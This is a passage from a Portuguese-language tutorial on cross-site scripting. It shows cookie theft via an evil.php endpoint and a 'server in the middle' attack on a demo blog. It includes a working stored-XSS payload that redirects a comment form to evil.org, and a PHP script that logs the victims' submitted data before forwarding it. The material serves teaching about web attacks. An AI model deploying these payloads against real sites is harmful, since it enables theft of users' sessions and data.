que um hacker pode, se quiser, apenas apontar para um arquivo em branco em algum servidor perdido e passar o cookie das vitimas tambem por uma variavel, depois e so ele ir e ver os logs do server e pronto.Interessante agora que, todos que acessarem a pagina vulneravel, irao fazer uma conexao com o script malicioso evil.php e passar seus cookies (desta pagina) por GET para ele. Isso inclui o dono do suposto blog que poderia acessar o post com o comentario malicioso enquanto estivesse logado no sistema, sendo possivel assim talvez o roubo da secao do admin pelo hacker.XSS Server in the middle??Man in the middle, ou o Homem no meio e um famoso e perigoso ataque. Basicamente, como o nome sugere, ele faz com que o hacker se posicione entre a vitima e o servidor durante uma conexao.Main_the_middleMas com XSS, se o site estiver vulneravel, pode-se atacar com algo como Server in the middle, rsrs, em que as requisicoes que saem de http://victim vao para http://evil , sao gravadas (ou mandadas para o o email do hacker) e retornam para http://victim. Ou seja, o servidor malicioso fica entre a vitima e o site vulneravel. Isso pode ser feito muito facil, mas ver um caso usando o nosso blog-vuln:apague os comentariosVamos postar um comentario que ira alterar o action do formulario de comentarios para uma URL qualquer, por exemplo, http://evil.org:Comentario malicioso: Citacao: <script>window.onload = function() {var form=document.getElementById("formcomments");form.action="http://evil.org/pega_comentario.php";}</script> Humm, muito legal esse artigo.Usa-se window.onload para esperar o DOM carregar completamente antes de pegar o elemento FORM.Assim la no site malicioso http://evil.org/pega_comentario.php pode-se ter o seguinte script:Codigo: Citacao: <?php$fp = fopen("comment_" . $_SERVER["REMOTE_ADDR"] . ".log", "a");$name = $_POST["comment_name"];$title = $_POST["comment_title"];$comment = $_POST["comment"];$str = "";$str .= "#########################\n";$str .= "# " . date('d/m/Y H:m:i') . "\n";$str .= "# Name: " . $name . "\n";$str .= "# Title: " . $title . "\n";$str .= "# Comment: \n";$str .= $comment . "\n";$str .= "#########################\n\n";fwrite($fp, $str);fclose($fp);/*** Aqui redirecionamos mais uma vez a vitima* mas agora para a pagina correta*/print "<html><head></head><body>";print "<form method=\"POST\" action=\"http://blog.tiagomoura-design.com.br/tutoriais/XSS/blog_vuln.php\" id=\"comentarios\">";print "<input type=\"hidden\" name=\"comment_name\" id=\"comment_name\" value=\"" . $name . "\" />";print "<input type=\"hidden\" name=\"comment_title\" id=\"comment_title\" value=\"" . $title . "\" />";print "<textarea name=\"comment\" id=\"comment\" style=\"visibility:hidden;\">". $comment . "</textarea>";print "<script language=\"text/javascript\">document.getElementById(\"comentarios \").submit();</script>"; O final desse script ai em cima nao esta nada bonito ne... Acontece que atualmente as alternativas para um redirecionamento mantendo o POST sao quase nulas. O RFC-2616, que regulamenta o HTTP/1.1 especifica o redirecionamento temporario 307, que mantem a requisicao original, mas quando o metodo da requisicao for diferente de GET ou HEAD ha um detalhe:If the 307 status code is received in response to a request otherthan GET or HEAD, the user agent MUST NOT automatically redirect therequest unless it can be confirmed by the user, since this mightchange the conditions under which the request was issued.Ou seja, se usar o redirecionamento temporario 307 com POST o navegador nao devera redirecionar automaticamente o usuario. A maioria dos navegadores, incluindo as primeiras versoes do firefox nao rspeitavam completamente o RFC e redirecionavam o usuario automaticamente mesmo quando a requisicao original fosse por POST.